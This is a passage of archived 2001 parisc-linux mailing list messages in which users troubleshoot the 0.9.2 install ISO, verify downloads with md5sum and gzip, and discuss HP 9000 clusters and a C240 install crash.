Date: Thu, 12 Jul 2001 12:49:32 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20010712124932.Y18375@linuxcare.com>
References: <002c01c10a40$ba3143a0$0f809b8e@ati.stlawrencec.on.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620294 22285 80.91.229.3 (22 Nov 2014 01:38:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: rpengelly <rpengelly@ati.stlawrencec.on.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 12 05:50:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id A3394482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Jul 2001 05:50:57 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 0329FB00C; Thu, 12 Jul 2001 12:49:32 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <002c01c10a40$ba3143a0$0f809b8e@ati.stlawrencec.on.ca>; from rpengelly@ati.stlawrencec.on.ca on Wed, Jul 11, 2001 at 03:36:05PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:11595

On Wed, Jul 11, 2001 at 03:36:05PM -0400, rpengelly wrote:
> I've downloaded and burned the 0.92 install iso but I run into trouble while retreiving packages. It can't retrieve groff and then quits because of it. Any suggestions?

Hmm, shouldn't be looking for groff.  Looks for groff-base these days.
If, for example, you were netbooting a lifimage from an older CD, but
installing from a newer CD you would see that problem.

Richard





From - Thu Nov 08 21:18:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rpengelly" <rpengelly@ati.stlawrencec.on.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 0.92 install iso problems
Date: Thu, 12 Jul 2001 08:25:31 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <000b01c10acd$be18bbf0$0f809b8e@ati.stlawrencec.on.ca>
References: <002c01c10a40$ba3143a0$0f809b8e@ati.stlawrencec.on.ca> <20010712124932.Y18375@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620294 22286 80.91.229.3 (22 Nov 2014 01:38:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:14 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Richard Hirst" <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 12 06:23:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ati6.ati.stlawrencec.on.ca (unknown [142.155.128.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id B20CE482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Jul 2001 06:23:12 -0600 (MDT)
Original-Received: from XCETY01 ([142.155.128.15]) by ati6.ati.stlawrencec.on.ca with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id 3XCGXVBA; Thu, 12 Jul 2001 08:23:11 -0400
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:11596

We did boot from an older lifimage due to problems with the new lifimage on
the 0.92 install. For some reason it wouldn't netboot off the lifimage.

I'm currently downloading the 0.92 full iso to see if that yeilds any luck.

How exactly do you check the md5sums?

----- Original Message -----
From: "Richard Hirst" <rhirst@linuxcare.com>
To: "rpengelly" <rpengelly@ati.stlawrencec.on.ca>
Cc: <parisc-linux@lists.parisc-linux.org>
Sent: Thursday, July 12, 2001 7:49 AM
Subject: Re: [parisc-linux] 0.92 install iso problems



> Hmm, shouldn't be looking for groff.  Looks for groff-base these days.
> If, for example, you were netbooting a lifimage from an older CD, but
> installing from a newer CD you would see that problem.
>
> Richard
>





From - Thu Nov 08 21:18:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Le Corre <matthieu.lecorre@polytech.univ-nantes.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 0.92 install iso problems
Date: Thu, 12 Jul 2001 14:48:58 +0200
Organization: Ecole Polytechnique de =?iso8859-1?q?l'Universit=E9=20de?= Nantes
Lines: 42
Approved: news@gmane.org
Message-ID: <01071214485814.03565@flambe.ireste.fr>
References: <002c01c10a40$ba3143a0$0f809b8e@ati.stlawrencec.on.ca> <20010712124932.Y18375@linuxcare.com> <000b01c10acd$be18bbf0$0f809b8e@ati.stlawrencec.on.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620295 22290 80.91.229.3 (22 Nov 2014 01:38:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:15 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 12 06:42:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.ireste.fr (mail.ireste.fr [193.52.81.37])
	by dsl2.external.hp.com (Postfix) with ESMTP id AD9CA482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Jul 2001 06:42:51 -0600 (MDT)
Original-Received: from flambe.ireste.fr (flambe [193.52.81.109])
          by mail.ireste.fr (8.9.1a/jtpda-5.3.1) with SMTP id OAA27288
          for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Jul 2001 14:44:42 +0200 (MET DST)
X-Mailer: KMail [version 1.2]
In-Reply-To: <000b01c10acd$be18bbf0$0f809b8e@ati.stlawrencec.on.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:11597

Le Jeudi 12 Juillet 2001 14:25, vous avez crit :
> We did boot from an older lifimage due to problems with the new lifimage on
> the 0.92 install. For some reason it wouldn't netboot off the lifimage.
>
> I'm currently downloading the 0.92 full iso to see if that yeilds any luck.
>
> How exactly do you check the md5sums?

 juste do  "md5sum foo.iso.gz "


>
> ----- Original Message -----
> From: "Richard Hirst" <rhirst@linuxcare.com>
> To: "rpengelly" <rpengelly@ati.stlawrencec.on.ca>
> Cc: <parisc-linux@lists.parisc-linux.org>
> Sent: Thursday, July 12, 2001 7:49 AM
> Subject: Re: [parisc-linux] 0.92 install iso problems
>
> > Hmm, shouldn't be looking for groff.  Looks for groff-base these days.
> > If, for example, you were netbooting a lifimage from an older CD, but
> > installing from a newer CD you would see that problem.
> >
> > Richard
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
_________________________________________________
  
                    Matthieu Le Corre
                  Service informatique
   Ecole Polytechnique de l'Universit de Nantes
      Matthieu.Lecorre@polytech.univ-nantes.fr
                     02.40.68.32.23
__________________________________________________




From - Thu Nov 08 21:18:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 0.92 install iso problems
Date: Thu, 12 Jul 2001 13:53:36 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20010712135336.B18375@linuxcare.com>
References: <002c01c10a40$ba3143a0$0f809b8e@ati.stlawrencec.on.ca> <20010712124932.Y18375@linuxcare.com> <000b01c10acd$be18bbf0$0f809b8e@ati.stlawrencec.on.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620295 22294 80.91.229.3 (22 Nov 2014 01:38:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: rpengelly <rpengelly@ati.stlawrencec.on.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 12 06:55:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 28B49482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Jul 2001 06:55:01 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id B952BB00C; Thu, 12 Jul 2001 13:53:36 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <000b01c10acd$be18bbf0$0f809b8e@ati.stlawrencec.on.ca>; from rpengelly@ati.stlawrencec.on.ca on Thu, Jul 12, 2001 at 08:25:31AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:11598

On Thu, Jul 12, 2001 at 08:25:31AM -0400, rpengelly wrote:
> We did boot from an older lifimage due to problems with the new lifimage on
> the 0.92 install. For some reason it wouldn't netboot off the lifimage.
> 
> I'm currently downloading the 0.92 full iso to see if that yeilds any luck.

0.9.2 and 0.9.2-install have the same lifimage on them.  Post more
details if it still wont netboot.

> How exactly do you check the md5sums?

Typical linux systems, at least, have a utility md5sum, so you just
enter "md5sum <filename>" at the shell prompt.  A web search for
md5sum.exe should help if you use certain other OSes.

Richard





From - Thu Nov 08 21:18:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rpengelly" <rpengelly@ati.stlawrencec.on.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] problems with checksums
Date: Thu, 12 Jul 2001 08:57:40 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <001201c10ad2$3beb97b0$0f809b8e@ati.stlawrencec.on.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_000F_01C10AB0.B4A8FCA0"
X-Trace: ger.gmane.org 1416620295 22297 80.91.229.3 (22 Nov 2014 01:38:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:15 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 12 06:55:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ati6.ati.stlawrencec.on.ca (unknown [142.155.128.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id 84984482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Jul 2001 06:55:21 -0600 (MDT)
Original-Received: from XCETY01 ([142.155.128.15]) by ati6.ati.stlawrencec.on.ca with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id 3XCGXVB3; Thu, 12 Jul 2001 08:55:20 -0400
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:11599

This is a multi-part message in MIME format.

------=_NextPart_000_000F_01C10AB0.B4A8FCA0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I've downloaded the 0.92 install. I ran the md5sum on it and it wasn't =
correct. I'm wondering if the problem is that I am downloading to a =
windows box and then transferring it to a linux box for netbooting? =
would this cause problems with the checksums?

------=_NextPart_000_000F_01C10AB0.B4A8FCA0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2919.6307" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I've downloaded the 0.92 install. I ran =
the md5sum=20
on it and it wasn't correct. I'm wondering if the problem is that I am=20
downloading to a windows box and then transferring it to a linux box for =

netbooting? would this cause problems with the=20
checksums?</FONT></DIV></BODY></HTML>

------=_NextPart_000_000F_01C10AB0.B4A8FCA0--





From - Thu Nov 08 21:18:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problems with checksums
Date: Thu, 12 Jul 2001 14:07:56 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20010712140756.C18375@linuxcare.com>
References: <001201c10ad2$3beb97b0$0f809b8e@ati.stlawrencec.on.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620296 22298 80.91.229.3 (22 Nov 2014 01:38:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: rpengelly <rpengelly@ati.stlawrencec.on.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 12 07:09:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 01175482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Jul 2001 07:09:20 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 878CCB00C; Thu, 12 Jul 2001 14:07:56 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <001201c10ad2$3beb97b0$0f809b8e@ati.stlawrencec.on.ca>; from rpengelly@ati.stlawrencec.on.ca on Thu, Jul 12, 2001 at 08:57:40AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:11600

On Thu, Jul 12, 2001 at 08:57:40AM -0400, rpengelly wrote:
> I've downloaded the 0.92 install. I ran the md5sum on it and it wasn't correct. I'm wondering if the problem is that I am downloading to a windows box and then transferring it to a linux box for netbooting? would this cause problems with the checksums?

The md5sum is for the .gz file:

[root@beast current]# md5sum /mnt/parisc/palinux-0.9.2.iso.gz 
45b3f776f5e702b02a9e02cd10358c99  /mnt/parisc/palinux-0.9.2.iso.gz
[root@beast current]# md5sum /mnt/parisc/palinux-0.9.2-install.iso.gz 
a7819f5fc2f5418bcdcb1de3068baade  /mnt/parisc/palinux-0.9.2-install.iso.gz

As they are gzipped files, "gzip -tv <filename>" would also verify
that they downloaded correctly.  I have known some browsers 'helpfully'
uncompress .gz during download.  If you only have the uncompressed
versions the sums should be:

[root@beast current]# zcat /mnt/parisc/palinux-0.9.2.iso.gz | md5sum
b7f13d7175744e2d204a738f2ab32bc2  -
[root@beast current]# zcat /mnt/parisc/palinux-0.9.2-install.iso.gz | md5sum
c7e3f1312ea387a27b7ec3b278850ac0  -


Richard





From - Thu Nov 08 21:18:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Snow <chris@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Crazy Beowulf stuff!
Date: Thu, 12 Jul 2001 09:38:41 -0400 (EDT)
Lines: 40
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0107120935460.30509-100000@baldric.uwo.ca>
References: <3B4CBFFE.1AE90276@mnsu.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620296 22300 80.91.229.3 (22 Nov 2014 01:38:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:16 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Aaron Berg <Aaron.Berg@mnsu.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 12 07:38:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with SMTP id D9F23482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Jul 2001 07:38:48 -0600 (MDT)
Original-Received: (qmail 30659 invoked by uid 1001); 12 Jul 2001 13:38:41 -0000
Original-Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 12 Jul 2001 13:38:41 -0000
In-Reply-To: <3B4CBFFE.1AE90276@mnsu.edu>
X-Subliminal: The Matrix is the world that has been pulled over your eyes to blind you from the truth.
X-Mailer: Pine 4.33 (Cybernetic Implant OS 1.0.3)
Xref: news.gmane.org gmane.linux.ports.parisc:11601

On Wed, 11 Jul 2001, Aaron Berg wrote:

> Greetings all! I was reading a couple of posts about clustering. Well I
> made a small 6 node +server x86 cluster over a year ago now. Works great
> and now I am being donated 10 hp 9000 c220 4 c110 and 2 j2240. Now I
> have read that the j2240 and 220 may not be quite working yet. For the
> last two years I have been fiddling with getting RS/6000 43p 260 running
> linux. so I know how time consuming it can be to get a computer running
> linux. I would simply like to say I maybe getting active in this HP 9000
> stuff very shortly. Time pending I would love to help make progress with
> the pa-risk linux project. I may even be the 2nd person crazy enough to
> build a beowulf cluster with them. ;-)


Just to add,

We (the Baldric Project at UWO) have suceeded in running some MPI
applications under linux with our 715/33 and 715/50 machines (48 in all,
but not all set up yet).  Right now we are in the process of building some
tools to do automated node installation by booting a specific image off
the LAN.  Once we get everything set up, we will post a short how-to and a
copy of the relevant scripts on the website. At that time I'll send out
another email the let everyone know of our progress.

If you want to learn more about our project, check out the website:

http://www.baldric.uwo.ca/

Cheers,


     Chris

------------------------------
"Mmmm, free goo."
 - Homer Simpson





From - Thu Nov 08 21:18:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Charles Boone <ccboone@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problem installing .9 iso image on C240
Date: Thu, 12 Jul 2001 07:42:25 -0700 (PDT)
Lines: 45
Approved: news@gmane.org
Message-ID: <20010712144225.20503.qmail@web11207.mail.yahoo.com>
References: <20010711094816.G18375@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620296 22302 80.91.229.3 (22 Nov 2014 01:38:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:16 +0000 (UTC)
Cc: Charles Boone <ccboone@yahoo.com>,
	parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>,
	Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 12 08:42:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web11207.mail.yahoo.com (web11207.mail.yahoo.com [216.136.131.189])
	by dsl2.external.hp.com (Postfix) with SMTP id 9F32D482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Jul 2001 08:42:32 -0600 (MDT)
Original-Received: from [207.242.215.33] by web11207.mail.yahoo.com via HTTP; Thu, 12 Jul 2001 07:42:25 PDT
In-Reply-To: <20010711094816.G18375@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11602

One piece of info that I did not include,  which I
thought might be relative to the ps/2 issue.  I am not
sure it is, but I do not have a keyboard or mouse
connected on the c240.  I was pretty sure that it
would not be a problem, since it would be just like
having a dumb terminal on it.


--- Richard Hirst <rhirst@linuxcare.com> wrote:
> On Tue, Jul 10, 2001 at 11:36:25PM -0600, Grant
> Grundler wrote:
> > Richard Hirst wrote:
> > > IAOQ = _gsc_readl + 8
> > > called from dino_in32()
> > > I guess it was dino_in32(0xc1b21ec0), which
> looks odd.
> > 
> > It's definitely wrong. dino_in32() pokes dino to
> generate IO Port
> > transactions and Dino lives in 0xF... address
> range. This suggests the
> > pci_dev->sys_data is garbage (perhaps not
> initialized?) or points to garbage.
> > Perhaps for Dino's built-in PS/2 or RS232 port?
> > 
> > Sorry, I didn't follow this thread earlier. Does
> console output hint
> > which PCI device was involved (if any)?
> 
> Not obviously, and it failed in the middle of the
> install, so presumably
> whatever device was involved had been accessed
> successfully earlier.
> 
> Richard
> 


__________________________________________________
Do You Yahoo!?
Get personalized email addresses from Yahoo! Mail
http://personal.mail.yahoo.com/




From - Thu Nov 08 21:18:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rpengelly" <rpengelly@ati.stlawrencec.on.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problems with checksums
Date: Thu, 12 Jul 2001 11:05:31 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <000701c10ae4$186cf6a0$0f809b8e@ati.stlawrencec.on.ca>
References: <001201c10ad2$3beb97b0$0f809b8e@ati.stlawrencec.on.ca> <20010712140756.C18375@linuxcare.com> <001e01c10ad6$588cb4e0$0f809b8e@ati.stlawrencec.on.ca> <20010712145615.E18375@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620297 22305 80.91.229.3 (22 Nov 2014 01:38:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:17 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Richard Hirst" <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 12 09:03:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ati6.ati.stlawrencec.on.ca (unknown [142.155.128.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6E563482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Jul 2001 09:03:13 -0600 (MDT)
Original-Received: from XCETY01 ([142.155.128.15]) by ati6.ati.stlawrencec.on.ca with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id 3XCGXVC5; Thu, 12 Jul 2001 11:03:11 -0400
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:11603

I downloaded the 0.92 full iso and its checksum did not match any of the
one's given. I'm wondering if it may be because I first have to download it
form esiee to a windows machine then transfer it via ftp to a linux box.

It still seems strange that the file downloads in .gz format but will not
unzip.

Would you be willing to help me out by sending the files by ftp to my linux
box? I don't know if you have a high speed connection or not?
Thanks again

Ray






From - Thu Nov 08 21:18:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problem installing .9 iso image on C240
Date: Thu, 12 Jul 2001 16:20:07 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20010712162007.F18375@linuxcare.com>
References: <20010711094816.G18375@linuxcare.com> <20010712144225.20503.qmail@web11207.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620297 22307 80.91.229.3 (22 Nov 2014 01:38:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:17 +0000 (UTC)
Cc: Grant Grundler <grundler@puffin.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Charles Boone <ccboone@yahoo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 12 09:21:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id AF12B482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Jul 2001 09:21:38 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id EE986B00C; Thu, 12 Jul 2001 16:20:07 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010712144225.20503.qmail@web11207.mail.yahoo.com>; from ccboone@yahoo.com on Thu, Jul 12, 2001 at 07:42:25AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:11604

On Thu, Jul 12, 2001 at 07:42:25AM -0700, Charles Boone wrote:
> One piece of info that I did not include,  which I
> thought might be relative to the ps/2 issue.  I am not
> sure it is, but I do not have a keyboard or mouse
> connected on the c240.  I was pretty sure that it
> would not be a problem, since it would be just like
> having a dumb terminal on it.

I agree, that is unlikely to be a problem.

Richard





From - Thu Nov 08 21:18:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Le Corre <matthieu.lecorre@polytech.univ-nantes.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problems with checksums
Date: Thu, 12 Jul 2001 17:30:36 +0200
Organization: Ecole Polytechnique de =?iso8859-1?q?l'Universit=E9=20de?= Nantes
Lines: 57
Approved: news@gmane.org
Message-ID: <0107121730361D.03565@flambe.ireste.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620297 22310 80.91.229.3 (22 Nov 2014 01:38:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 12 09:24:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.ireste.fr (mail.ireste.fr [193.52.81.37])
	by dsl2.external.hp.com (Postfix) with ESMTP id A027A482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Jul 2001 09:24:12 -0600 (MDT)
Original-Received: from flambe.ireste.fr (flambe [193.52.81.109])
          by mail.ireste.fr (8.9.1a/jtpda-5.3.1) with SMTP id RAA21388
          for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Jul 2001 17:26:20 +0200 (MET DST)
X-Mailer: KMail [version 1.2]
Xref: news.gmane.org gmane.linux.ports.parisc:11605


----------  Message transmis  ----------
Subject: Re: [parisc-linux] problems with checksums
Date: Thu, 12 Jul 2001 17:17:11 +0200
From: Matthieu Le Corre <matthieu.lecorre@polytech.univ-nantes.fr>
To: "rpengelly" <rpengelly@ati.stlawrencec.on.ca>


Le Jeudi 12 Juillet 2001 17:05, vous avez crit :
> I downloaded the 0.92 full iso and its checksum did not match any of the
> one's given. I'm wondering if it may be because I first have to download it
> form esiee to a windows machine then transfer it via ftp to a linux box.
>
> It still seems strange that the file downloads in .gz format but will not
> unzip.
>
> Would you be willing to help me out by sending the files by ftp to my linux
> box? I don't know if you have a high speed connection or not?
> Thanks again

give me your ftp adresse i send it to you the .9.2iso full with correct
 md5sum

> Ray
>
>
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

--
_________________________________________________

                    Matthieu Le Corre
                  Service informatique
   Ecole Polytechnique de l'Universit de Nantes
      Matthieu.Lecorre@polytech.univ-nantes.fr
                     02.40.68.32.23
__________________________________________________

-------------------------------------------------------

-- 
_________________________________________________
  
                    Matthieu Le Corre
                  Service informatique
